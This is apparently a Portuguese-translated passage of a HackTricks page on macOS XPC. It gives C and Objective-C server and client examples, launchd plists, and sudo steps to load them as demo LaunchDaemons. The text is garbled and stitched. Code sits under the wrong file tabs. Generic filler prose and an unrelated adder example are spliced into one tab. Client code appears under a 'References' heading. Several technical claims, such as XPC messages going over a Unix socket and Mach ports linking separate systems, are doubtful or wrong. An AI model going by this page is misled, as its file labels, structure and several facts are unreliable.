        exit(EXIT_FAILURE);
    }

    xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        if (type == XPC_TYPE_CONNECTION) {
            handle_connection(event);
        }
    });

    xpc_connection_resume(service);
    dispatch_main();

    return 0;
}

{% endtab %}

{% tab title="xpc_server.c" %}

// gcc xpc_client.c -o xpc_client

#include <xpc/xpc.h>

int main(int argc, const char *argv[]) {
    xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
            // Print received message
            const char* received_message = xpc_dictionary_get_string(event, "received");
            printf("Received message: %s\n", received_message);
        }
    });

    xpc_connection_resume(connection);

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_string(message, "message", "Hello, Server!");

    xpc_connection_send_message(connection, message);

    dispatch_main();
    
    return 0;
}

{% endtab %}

{% tab title="xyz.hacktricks.service.plist" %}

Este arquivo é um arquivo de propriedades do Launchd que define um serviço que será executado em segundo plano. O nome do arquivo deve ser o mesmo que o nome do serviço. O arquivo contém informações sobre o serviço, como o caminho do executável, argumentos, diretório de trabalho, variáveis de ambiente, etc. O Launchd é responsável por iniciar e gerenciar serviços em segundo plano no macOS.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.service</string>
<key>MachServices</key>
    <dict>
        <key>xyz.hacktricks.service</key>
        <true/>
    </dict>
<key>Program</key>
    <string>/tmp/xpc_server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/tmp/xpc_server</string>
    </array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client

# Save server on it's location
cp xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist

# Call client
./xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server

Exemplo de Código ObjectiveC

{% tabs %} {% tab title="oc_xpc_server.m" %}

// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

@interface MyXPCObject : NSObject <MyXPCProtocol>
@end


@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
    NSLog(@"Received message: %@", some_string);
    NSString *response = @"Received";
    reply(response);
}
@end

@interface MyDelegate : NSObject <NSXPCListenerDelegate>
@end


@implementation MyDelegate

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];

    MyXPCObject *my_object = [MyXPCObject new];

    newConnection.exportedObject = my_object;

    [newConnection resume];
    return YES;
}
@end

int main(void) {

    NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];

    id <NSXPCListenerDelegate> delegate = [MyDelegate new];
    listener.delegate = delegate;
    [listener resume];

    sleep(10); // Fake something is done and then it ends
}

{% endtab %}

{% tab title="oc_xpc_server.m" %}

Comunicação entre processos com XPC

O XPC é um mecanismo de comunicação entre processos que permite que um processo execute código em outro processo. Isso é útil para dividir tarefas em diferentes processos e para garantir que um processo não possa acessar diretamente a memória de outro processo.

O XPC é usado em muitos lugares no macOS, incluindo o Spotlight, o Launch Services e o iCloud. Ele também é usado por aplicativos de terceiros para se comunicar com seus próprios processos.

O XPC é baseado em mensagens. Um processo envia uma mensagem para outro processo e espera uma resposta. As mensagens são serializadas em um formato binário e enviadas através de um soquete Unix.

O XPC é seguro por padrão. Os processos não podem acessar diretamente a memória uns dos outros e as mensagens são validadas para garantir que não sejam malformadas ou maliciosas.

No entanto, existem algumas vulnerabilidades conhecidas no XPC que podem ser exploradas para obter privilégios elevados ou vazar informações confidenciais. Essas vulnerabilidades geralmente envolvem o uso incorreto do XPC ou a falta de validação adequada das mensagens.

Exemplo de código

O código a seguir mostra como usar o XPC para se comunicar entre processos. Ele define um serviço XPC simples que pode ser usado para adicionar dois números.

// oc_xpc_server.m

#import <Foundation/Foundation.h>
#import <xpc/xpc.h>

static xpc_object_t
handle_message(xpc_object_t message)
{
    xpc_object_t reply = xpc_dictionary_create_reply(message);
    int a = xpc_dictionary_get_int64(message, "a");
    int b = xpc_dictionary_get_int64(message, "b");
    int sum = a + b;
    xpc_dictionary_set_int64(reply, "sum", sum);
    return reply;
}

int
main(int argc, const char *argv[])
{
    xpc_connection_t connection = xpc_connection_create_mach_service("com.example.adder", NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        if (type == XPC_TYPE_CONNECTION) {
            xpc_connection_set_event_handler(event, ^(xpc_object_t message) {
                xpc_object_t reply = handle_message(message);
                xpc_connection_send_message(event, reply);
                xpc_release(reply);
            });
            xpc_connection_resume(event);
        }
    });
    xpc_connection_resume(connection);
    dispatch_main();
    return 0;
}

O código a seguir mostra como usar o XPC para se comunicar com o serviço definido acima.

// oc_xpc_client.m

#import <Foundation/Foundation.h>
#import <xpc/xpc.h>

int
main(int argc, const char *argv[])
{
    xpc_connection_t connection = xpc_connection_create_mach_service("com.example.adder", NULL, 0);
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        xpc_type_t type = xpc_get_type(event);
        if (type == XPC_TYPE_DICTIONARY) {
            int sum = xpc_dictionary_get_int64(event, "sum");
            printf("sum = %d\n", sum);
        }
    });
    xpc_connection_resume(connection);
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(message, "a", 1);
    xpc_dictionary_set_int64(message, "b", 2);
    xpc_connection_send_message_with_reply(connection, message, dispatch_get_main_queue(), ^(xpc_object_t reply) {
        // Handle reply here
    });
    dispatch_main();
    return 0;
}

Referências

// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>

@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end

int main(void) {
    NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
    connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
    [connection resume];

    [[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
        NSLog(@"Received response: %@", response);
    }];

    [[NSRunLoop currentRunLoop] run];

    return 0;
}

{% endtab %}

{% tab title="macOS IPC (Inter-Process Communication)" %}

IPC (Inter-Process Communication)

IPC é um conjunto de mecanismos que permitem a comunicação entre processos. O macOS suporta vários mecanismos de IPC, incluindo:

  • Mach ports: um mecanismo de comunicação de baixo nível que permite a comunicação entre processos em um único sistema ou em sistemas diferentes.
  • Unix domain sockets: um mecanismo de comunicação de soquete que permite a comunicação entre processos em um único sistema.
  • XPC: um mecanismo de comunicação de alto nível que permite a comunicação entre processos em um único sistema.

Mach Ports

Os Mach ports são um mecanismo de comunicação de baixo nível que permite a comunicação entre processos em um único sistema ou em sistemas diferentes. Os Mach ports são usados para implementar muitos recursos do macOS, incluindo notificações de eventos do sistema, comunicação entre processos e gerenciamento de memória.

Os Mach ports são identificados por um número de porta exclusivo e podem ser usados para enviar e receber mensagens. As mensagens enviadas por meio de Mach ports podem conter dados e referências para objetos de memória compartilhada.

Os Mach ports são gerenciados pelo kernel do macOS e são acessíveis a todos os processos do sistema. Os processos podem criar novos Mach ports e enviar mensagens para outros processos usando Mach ports existentes.

Os Mach ports são usados por muitos recursos do macOS, incluindo:

  • Launchd: o processo init do macOS usa Mach ports para iniciar e gerenciar outros processos do sistema.
  • Notification Center: o Notification Center usa Mach ports para enviar notificações de eventos do sistema para aplicativos.
  • XPC: o XPC usa Mach ports para enviar mensagens entre processos.

Unix Domain Sockets

Os Unix domain sockets são um mecanismo de comunicação de soquete que permite a comunicação entre processos em um único sistema. Os Unix domain sockets são identificados por um nome de soquete exclusivo e podem ser usados para enviar e receber mensagens.

Os Unix domain sockets são gerenciados pelo kernel do macOS e são acessíveis a todos os processos do sistema. Os processos podem criar novos Unix domain sockets e enviar mensagens para outros processos usando Unix domain sockets existentes.

Os Unix domain sockets são usados por muitos recursos do macOS, incluindo:

  • Launchd: o processo init do macOS usa Unix domain sockets para iniciar e gerenciar outros processos do sistema.
  • XPC: o XPC usa Unix domain sockets para enviar mensagens entre processos.

XPC

O XPC é um mecanismo de comunicação de alto nível que permite a comunicação entre processos em um único sistema. O XPC é baseado em Mach ports e Unix domain sockets e fornece uma API de alto nível para enviar e receber mensagens.

O XPC é usado por muitos recursos do macOS, incluindo:

  • Launchd: o processo init do macOS usa o XPC para iniciar e gerenciar outros processos do sistema.
  • Notification Center: o Notification Center usa o XPC para enviar notificações de eventos do sistema para aplicativos.
  • Sandboxing: o mecanismo de sandboxing do macOS usa o XPC para permitir que os processos se comuniquem com outros processos em um ambiente seguro.

References

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>Label</key>
<string>xyz.hacktricks.svcoc</string>
<key>MachServices</key>
    <dict>
        <key>xyz.hacktricks.svcoc</key>
        <true/>
    </dict>
<key>Program</key>
    <string>/tmp/oc_xpc_server</string>
    <key>ProgramArguments</key>
    <array>
        <string>/tmp/oc_xpc_server</string>
    </array>
</dict>
</plist>

{% endtab %} {% endtabs %}

# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client

# Save server on it's location
cp oc_xpc_server /tmp

# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist

# Call client
./oc_xpc_client

# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server

Referências

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